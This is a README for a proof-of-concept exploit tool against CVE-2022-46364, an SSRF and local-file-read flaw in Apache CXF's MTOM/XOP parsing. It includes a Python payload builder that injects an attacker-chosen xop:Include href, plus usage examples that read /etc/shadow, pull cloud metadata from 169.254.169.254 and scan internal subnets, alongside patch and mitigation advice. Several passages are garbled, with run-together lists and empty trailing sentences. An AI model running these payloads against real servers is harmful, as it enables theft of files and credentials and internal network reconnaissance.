
This vulnerability allows an attacker to perform SSRF (Server-Side Request Forgery) attacks on Apache CXF webservices that accept MTOM/XOP requests. The issue exists in how the href attribute of xop:Include is parsed, allowing arbitrary URLs to be requested by the server.
THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY
This proof-of-concept exploit is provided for educational purposes to help security professionals understand the vulnerability and protect their systems. Unauthorized access to computer systems is illegal. The author assumes no responsibility for any misuse or damage caused by this tool. You must obtain explicit written permission from the system owner before testing. By using this tool, you agree to comply with all applicable laws.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| Vulnerability Type | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Affected Software | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Severity | Critical |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | None required |
| Patch Versions | Apache CXF 3.5.5+, 3.4.10+ |
This exploit leverages a critical SSRF vulnerability in Apache CXF's MTOM (Message Transmission Optimization Mechanism) implementation to achieve Local File Inclusion (LFI) and internal network scanning capabilities.
Apache CXF incorrectly validates the href attribute within xop:Include elements when processing MTOM-encoded SOAP messages. The library uses Java's URLConnection to dereference the URI without proper protocol restrictions, allowing attackers to specify:
file:// - Read local files (LFI)http:// / https:// - Internal network requests (SSRF)ftp:// - FTP requests (potential for further exploitation)This vulnerability is particularly dangerous because:
Any Apache CXF deployment that:
MTOM (Message Transmission Optimization Mechanism) is a W3C standard for optimizing binary data transmission in SOAP messages. It uses XOP (XML-binary Optimized Packaging) to include binary data references:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normally, href contains a CID (Content-ID) reference to a MIME part. However, Apache CXF's AttachmentUtil class processes href values as generic URIs without proper sanitization.
Request Parsing:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() processes xop:Include elementsURI Dereferencing:
new URL(href).openStream() directlyfile:// protocol blocking occursResponse Embedding:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
The file:// protocol follows the same code path:
file:///etc/passwd → Java opens /etc/passwd as a file streamBy iterating through IPs and ports, attackers can:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Core Implementation Details
#### 1. MTOM Payload Construction
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Upgrade to a patched version:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
Disable MTOM entirely (if not required):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Network-level controls:
Web Application Firewall (WAF) rules:
xop:Include with href pointing to file:// or internal IP addressesThis vulnerability was discovered and responsibly disclosed by:
This tool is provided for educational purposes only. Unauthorized use is prohibited.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Last Updated: March 2026
Version: 1.0
Contact: For security concerns or questions, please open an issue on GitHub.
This document is part of responsible security research. Always obtain proper authorization before testing.
| Argument | Description | Example |
|---|
-t, --target | Required. Base URL of the target Apache CXF service | http://10.10.10.50:8080 |
-e, --endpoint | Optional. SOAP endpoint path | /services/UserManagement |
-u, --url | HTTP/HTTPS URL to fetch via SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Local file path to read via LFI | /etc/shadow, C:\ProgramData\secret.txt |